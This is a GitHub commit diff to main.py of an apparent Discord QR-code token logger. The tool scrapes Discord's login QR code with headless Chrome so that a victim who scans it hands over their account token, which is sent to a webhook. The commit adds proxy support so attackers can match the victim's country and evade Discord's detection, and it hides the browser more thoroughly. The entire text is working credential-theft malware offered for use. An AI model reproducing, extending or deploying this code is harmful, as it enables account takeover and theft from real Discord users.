Update main.py

This commit is contained in:
mouadessalim 2023-02-12 20:01:38 +01:00 committed by GitHub
parent 63ac85db7e
commit 780191af11
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -9,9 +9,7 @@ The actual repository is unlicensed, it mean all rights are reserved. You cannot
Violating this rule may lead our intervention according to the Github Terms of Service User-Generated Content Section D.3 using the Content Removal Policies DMCA Takedown Policy. Violating this rule may lead our intervention according to the Github Terms of Service User-Generated Content Section D.3 using the Content Removal Policies DMCA Takedown Policy.
CREDITS CREDITS
Lemon.-_-.#3714 Lemon.-_-.#3714
Luci (9P9)
the-cult-of-integral the-cult-of-integral
mte0
""" """
import base64 import base64
@ -19,6 +17,7 @@ import ctypes
import os import os
import time import time
import win32clipboard import win32clipboard
import requests
from io import BytesIO from io import BytesIO
from tempfile import NamedTemporaryFile, TemporaryDirectory from tempfile import NamedTemporaryFile, TemporaryDirectory
from threading import Thread, Event from threading import Thread, Event
@ -28,7 +27,6 @@ from pystray import Icon, Menu, MenuItem
from pystyle import Box, Center, Colorate, Colors, System, Write from pystyle import Box, Center, Colorate, Colors, System, Write
from selenium import webdriver from selenium import webdriver
from selenium.common.exceptions import WebDriverException from selenium.common.exceptions import WebDriverException
from selenium.webdriver.chrome.service import Service
from constants import BANNER, PYSTRAY_IMG from constants import BANNER, PYSTRAY_IMG
from discord_token import QRGrabber, TokenInfo from discord_token import QRGrabber, TokenInfo
from exceptions import InvalidToken, QRCodeNotFound, WebhookSendFailure from exceptions import InvalidToken, QRCodeNotFound, WebhookSendFailure
@ -37,22 +35,53 @@ from signal import SIGTERM
def main(webhook_url: str) -> None: def main(webhook_url: str) -> None:
Write.Print('\n\n[!] Generating QR code...', Colors.red_to_purple) proxy_value = Write.Input("\n[*] Does the victim live in the same country as you otherwise use a proxy [IP:PORT] -> ", Colors.green_to_cyan, interval=0.01)
opts = webdriver.ChromeOptions() opts = webdriver.ChromeOptions()
opts.add_argument('--headless') opts.add_argument('--headless')
opts.add_argument('--silent')
opts.add_argument('start-maximized')
opts.add_argument('--disable-extensions')
opts.add_argument('--disable-gpu')
opts.add_argument('--disable-dev-shm-usage')
opts.add_argument('disable-infobars')
opts.add_argument('--disable-browser-side-navigation')
opts.add_argument('--disable-default-apps')
opts.add_experimental_option('detach', True) opts.add_experimental_option('detach', True)
opts.add_experimental_option('excludeSwitches', ['enable-logging']) opts.add_experimental_option('excludeSwitches', ['enable-logging'])
opts.add_argument('--log-level 3') if proxy_value:
from webdriver_manager.chrome import ChromeDriverManager proxies_http = {
os.environ['WDM_PROGRESS_BAR'] = str(0) "http": f"http://{proxy_value}",
os.environ['WDM_LOG_LEVEL'] = '0' "https": f"http://{proxy_value}",
}
proxies_https = {
"http": f"https://{proxy_value}",
"https": f"https://{proxy_value}",
}
try:
ip_info = requests.get('http://ip-api.com/json', proxies=proxies_http).json()
except requests.exceptions.RequestException:
try:
ip_info = requests.get('http://ip-api.com/json', proxies=proxies_https).json()
except requests.exceptions.RequestException as e:
raise SystemExit(Write.Print(f'\n[^] Critical error when using the proxy server !\n\nThe script returning :\n\n{e}', Colors.yellow_to_green))
if ip_info['query'] == proxy_value.split(':')[0]:
Write.Print(f"\n[!] Proxy server detected in {ip_info['country']}, establishing connection...", Colors.red_to_purple)
opts.add_argument(f'--proxy-server={proxy_value}')
else:
raise SystemExit(Write.Print(f'\n[^] Proxy server not working, or being detected by Discord.', Colors.yellow_to_green))
Write.Print('\n\n[!] Generating QR code...', Colors.red_to_purple)
# This module have conflicts with PyStyle; importing here prevents the issue.
try: try:
main.driver = webdriver.Chrome( main.driver = webdriver.Chrome(options=opts)
service=Service(ChromeDriverManager().install()), except:
options=opts) from webdriver_manager.chrome import ChromeDriverManager
except WebDriverException: from selenium.webdriver.chrome.service import Service
raise SystemExit( os.environ['WDM_PROGRESS_BAR'] = str(0)
'WebDriverException : have you tried installing the latest version of Google Chrome?') os.environ['WDM_LOG_LEVEL'] = '0'
try:
main.driver = webdriver.Chrome(service=Service(ChromeDriverManager().install()), options=opts)
except WebDriverException as e:
raise SystemExit(Write.Print(f'\n\n[!] WebDriverException occured ! The script returned :\n\n{e}', Colors.yellow_to_green))
main.driver.implicitly_wait(5) main.driver.implicitly_wait(5)
main.driver.get('https://discord.com/login') main.driver.get('https://discord.com/login')
time.sleep(5) time.sleep(5)
@ -61,8 +90,11 @@ def main(webhook_url: str) -> None:
try: try:
qr_code = qrg.get_qr_from_source(source) qr_code = qrg.get_qr_from_source(source)
except QRCodeNotFound as e: except QRCodeNotFound as e:
main.driver.service.process.send_signal(SIGTERM) try:
raise SystemExit(e) main.driver.service.process.send_signal(SIGTERM)
except:
pass
raise SystemExit(Write.Print(f'\n\n[^] QrCodeException occured ! The script returned :\n\n{e}', Colors.yellow_to_green))
discord_login = main.driver.current_url discord_login = main.driver.current_url
with TemporaryDirectory(dir='.') as td: with TemporaryDirectory(dir='.') as td:
with NamedTemporaryFile(dir=td, suffix='.png') as tp1: with NamedTemporaryFile(dir=td, suffix='.png') as tp1:
@ -129,7 +161,7 @@ def main(webhook_url: str) -> None:
pystray_icon.icon.notify("The Qr-Code has expired !", 'Exiting...') pystray_icon.icon.notify("The Qr-Code has expired !", 'Exiting...')
time.sleep(3) time.sleep(3)
ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 5) ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 5)
raise SystemExit(Write.Print('\n\n[!] The Qr-Code have expired, exiting...', Colors.yellow_to_green)) raise SystemExit(Write.Print('\n\n[^] The Qr-Code have expired, exiting...', Colors.yellow_to_green))
pystray_icon.icon.notify("The target scanned the QR-code sucessfuly.", 'New Victim !') pystray_icon.icon.notify("The target scanned the QR-code sucessfuly.", 'New Victim !')
time.sleep(3) time.sleep(3)
ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 5) ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 5)
@ -161,7 +193,7 @@ if __name__ == "__main__":
main.driver.service.process.send_signal(SIGTERM) main.driver.service.process.send_signal(SIGTERM)
except: except:
pass pass
raise SystemExit os._exit(0)
pystray_icon.icon = Icon('QR_DTG', Image.open(BytesIO(base64.b64decode(PYSTRAY_IMG))), menu=Menu( pystray_icon.icon = Icon('QR_DTG', Image.open(BytesIO(base64.b64decode(PYSTRAY_IMG))), menu=Menu(
MenuItem('Show', window_state), MenuItem('Show', window_state),
@ -169,11 +201,11 @@ if __name__ == "__main__":
MenuItem('Quit', window_state) MenuItem('Quit', window_state)
)) ))
pystray_icon.icon.run() pystray_icon.icon.run()
System.Title('QR DISCORD LOGIN - By Lemon.-_-.#3714, Luci (9P9), the-cult-of-integral and mte0') System.Title('QR DISCORD LOGIN - By Lemon.-_-.#3714, the-cult-of-integral')
System.Size(140, 35) System.Size(140, 35)
print(Colorate.Horizontal(Colors.cyan_to_green, Center.XCenter(BANNER), 1)) print(Colorate.Horizontal(Colors.cyan_to_green, Center.XCenter(BANNER), 1))
print(Colorate.Horizontal(Colors.rainbow, Center.GroupAlign(Box.DoubleCube( print(Colorate.Horizontal(Colors.rainbow, Center.GroupAlign(Box.DoubleCube(
"By Lemon.-_-.#3714, Luci (9P9), the-cult-of-integral and mte0")), 1)) "By Lemon.-_-.#3714, the-cult-of-integral")), 1))
print(Colorate.Horizontal(Colors.rainbow, Box.Lines( print(Colorate.Horizontal(Colors.rainbow, Box.Lines(
"https://github.com/9P9/Discord-QR-Token-Logger").replace('', "$"), 1), "\n") "https://github.com/9P9/Discord-QR-Token-Logger").replace('', "$"), 1), "\n")
confir = Write.Input( confir = Write.Input(
@ -192,7 +224,7 @@ if __name__ == "__main__":
th_main = Thread(target=main, args=(None,)) th_main = Thread(target=main, args=(None,))
else: else:
raise SystemExit(Write.Print( raise SystemExit(Write.Print(
'Failed to recognise an input of either \'y\' or \'n\'.', '[!] Failed to recognise an input of either \'y\' or \'n\'.',
Colors.yellow_to_green)) Colors.yellow_to_green))
Thread(target=pystray_icon).start() Thread(target=pystray_icon).start()
th_main.start() th_main.start()